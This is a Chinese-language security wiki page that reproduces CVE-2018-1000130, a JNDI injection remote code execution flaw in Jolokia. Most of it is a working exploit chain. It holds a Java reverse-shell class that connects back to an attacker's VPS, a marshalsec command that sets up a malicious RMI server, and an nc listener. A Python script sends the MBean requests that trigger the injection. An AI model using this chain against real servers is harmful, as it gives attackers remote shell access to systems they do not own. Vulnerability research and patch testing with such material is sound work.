menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-1000130)Jolokia 远程代码执行漏洞 chevron_right (CVE-2018-1000130)Jolokia 远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-1000130)Jolokia 远程代码执行漏洞.md
    6.3 KB / 2021-07-15 19:54:46
        (CVE-2018-1000130)Jolokia 远程代码执行漏洞
    ============================================
    
    一、漏洞简介
    ------------
    
    Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到**JNDI注入**的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia
    Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP
    / RMI连接,因此有可能造成这种攻击。
    
    #### 利用条件:
    
    -   目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
    -   目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关
        MBean
    -   目标可以请求攻击者的服务器(请求可出外网)
    -   实际测试 RMI 注入受目标 JDK 版本影响,jdk \< 6u141/7u131/8u121
    
    二、漏洞影响
    ------------
    
    Jolokia \< 1.50
    
    三、复现过程
    ------------
    
    #### 漏洞分析
    
    1.  利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
    2.  设置 connectionURL 地址为 RMI Service URL
    3.  设置 contextFactory 为 RegistryContextFactory
    4.  停止 Realm
    5.  启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
    
    ### 漏洞复现
    
    ##### 步骤一:查看已存在的 MBeans
    
    访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory` 和
    `createJNDIRealm` 关键词。
    
    ##### 步骤二:准备要执行的 Java 代码
    
    需要修改脚本里对应的反弹shell的ip和端口
    
        /**
         *  javac -source 1.5 -target 1.5 JNDIObject.java
         *
         *  Build By LandGrey
         * */
    
        import java.io.File;
        import java.io.InputStream;
        import java.io.OutputStream;
        import java.net.Socket;
    
        public class JNDIObject {
            static {
                try{
                    String ip = "your-vps-ip";
                    String port = "443";
                    String py_path = null;
                    String[] cmd;
                    if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                        String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                        for(int i = 0; i < py_envs.length; ++i) {
                            String py = py_envs[i];
                            if ((new File(py)).exists()) {
                                py_path = py;
                                break;
                            }
                        }
                        if (py_path != null) {
                            if ((new File("/bin/bash")).exists()) {
                                cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                            } else {
                                cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                            }
                        } else {
                            if ((new File("/bin/bash")).exists()) {
                                cmd = new String[]{"/bin/bash"};
                            } else {
                                cmd = new String[]{"/bin/sh"};
                            }
                        }
                    } else {
                        cmd = new String[]{"cmd.exe"};
                    }
                    Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
                    Socket s = new Socket(ip, Integer.parseInt(port));
                    InputStream pi = p.getInputStream();
                    InputStream pe = p.getErrorStream();
                    InputStream si = s.getInputStream();
                    OutputStream po = p.getOutputStream();
                    OutputStream so = s.getOutputStream();
                    while(!s.isClosed()) {
                        while(pi.available() > 0) {
                            so.write(pi.read());
                        }
                        while(pe.available() > 0) {
                            so.write(pe.read());
                        }
                        while(si.available() > 0) {
                            po.write(si.read());
                        }
                        so.flush();
                        po.flush();
                        Thread.sleep(50L);
                        try {
                            p.exitValue();
                            break;
                        } catch (Exception e) {
                        }
                    }
                    p.destroy();
                    s.close();
                }catch (Throwable e){
                    e.printStackTrace();
                }
            }
        }
    
    ##### 步骤三:架设恶意 rmi 服务
    
        https://github.com/ianxtianxt/marshalsec
    
    使用下面命令架设对应的 rmi 服务:
    
        java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    ##### 步骤四:监听反弹 shell 的端口
    
    一般使用 nc 监听端口,等待反弹 shell
    
        nc -lvp 上面java脚本里面自己设置的端口
    
    ##### 步骤五:发送恶意 payload
    
    根据实际情况修改 脚本中的目标地址,RMI
    地址、端口等信息,然后在自己控制的服务器上运行。
    
        #!/usr/bin/env python3
        # coding: utf-8
        # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
    
    
        import requests
    
    
        url = 'http://127.0.0.1:8080/jolokia'
    
    
        create_realm = {
            "mbean": "Tomcat:type=MBeanFactory",
            "type": "EXEC",
            "operation": "createJNDIRealm",
            "arguments": ["Tomcat:type=Engine"]
        }
    
        wirte_factory = {
            "mbean": "Tomcat:realmPath=/realm0,type=Realm",
            "type": "WRITE",
            "attribute": "contextFactory",
            "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
        }
    
        write_url = {
            "mbean": "Tomcat:realmPath=/realm0,type=Realm",
            "type": "WRITE",
            "attribute": "connectionURL",
            "value": "rmi://your-vps-ip:1389/JNDIObject"
        }
    
        stop = {
            "mbean": "Tomcat:realmPath=/realm0,type=Realm",
            "type": "EXEC",
            "operation": "stop",
            "arguments": []
        }
    
        start = {
            "mbean": "Tomcat:realmPath=/realm0,type=Realm",
            "type": "EXEC",
            "operation": "start",
            "arguments": []
        }
    
        flow = [create_realm, wirte_factory, write_url, stop, start]
    
        for i in flow:
            print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
            r = requests.post(url, json=i)
            r.json()
            print(r.status_code)
    
    
    links
    file_download